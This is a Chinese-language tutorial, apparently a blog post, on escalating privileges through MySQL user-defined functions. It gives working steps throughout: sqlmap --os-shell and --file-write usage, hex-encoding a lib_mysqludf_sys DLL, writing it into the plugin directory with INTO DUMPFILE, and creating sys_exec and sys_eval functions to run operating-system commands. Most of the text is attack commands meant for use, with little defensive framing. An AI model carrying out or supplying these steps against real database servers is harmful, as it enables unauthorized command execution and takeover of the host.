UDF 是用户自定义函数,用户可以添加函数到mysql中实现功能的扩充,调用方法和一般函数一样类似于database(),但这一功能也导致了自定义函数中可能包含了恶意函数(系统命令),然后恶意的指令被以更高的权限执行后,实现提权的手段。
使用sqlmap的--os-shell,sqlmap会自动寻找web目录并将木马放入。
但是一般情况下不会成功,linux相比较windows有更严格的权限设定,我们可以用--sql-shell进入一个命令输入的界面,该界面可查看部分mysql的信息。
select @@version; 查询mysql版本。
select @@plugin_dir; 获取mysql插件的安装位置,该位置如果可以写入,即可利用。
大多数情况,linux的该位置没有写入权限,如果有权限可以执行sqlmap.py -d mysql://root:root@127.0.0.1:3306/test --file-write=插件位置 --file-dest=sqlmap目录下so的位置。
随后执行CREATE FUNCTION sys_exec RETURNS STRING SONAME 'lib_mysqludf_sys.so'
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so'
select sys_eval('ver');
而windows下的就非常好提权,有以下思路:
windows下插入的木马为sqlmap目录下的dll文件。
思路一
由于禁止了导入,所以我们选择在本地导入成udf文件,然后在目标机上将比如本地导出的udf当作表内容添加进入
有了文件夹后开始将dll文件制作成udf文件
首先将本地保存dll文件的地址转化成16进制, 比如说C:\Users\user\Desktop\lib_mysqludf_sys.dll
这个地址转换为16进制就是 433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c #
然后在本地导入dll文件,注意在上面的16进制地址需要在前面写上0x SELECT hex(load_file(0x433a5c5c55736572735c5c757365725c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile '/tmp/udf.txt';
至此udf.txt文件中的内容就是udf文件的十六进制格式
接下来在目标机上写入udf文件
- CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
- INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
- SELECT c FROM udftmp INTO DUMPFILE 'H:\PHPStudy\PHPTutorial\MySQL\lib\plugin\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\
到此如果没有报错,就是生成成功了,接下来要开始导入 DROP TABLE udftmp;
删除udftmp表删掉 # 导入udf函数 CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
然后查看一下函数库
select * from mysql.func;
思路二
当不禁止文件的导入和导出的时候就可以直接上传dll文件到插件文件夹来进行文件的导入
这样会简单不少,也不会涉及十六进制的转来转去
如果不能上传可以选择
select unhex('十六进制dll文件') into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/mysqludf3.dll';
直接上传dll文件到C:\phpStudy\PHPTutorial\MySQL\lib\plugin文件夹下
create function sys_eval returns strings soname ‘lib_mysqludf_sys.dll’;
Comments NOTHING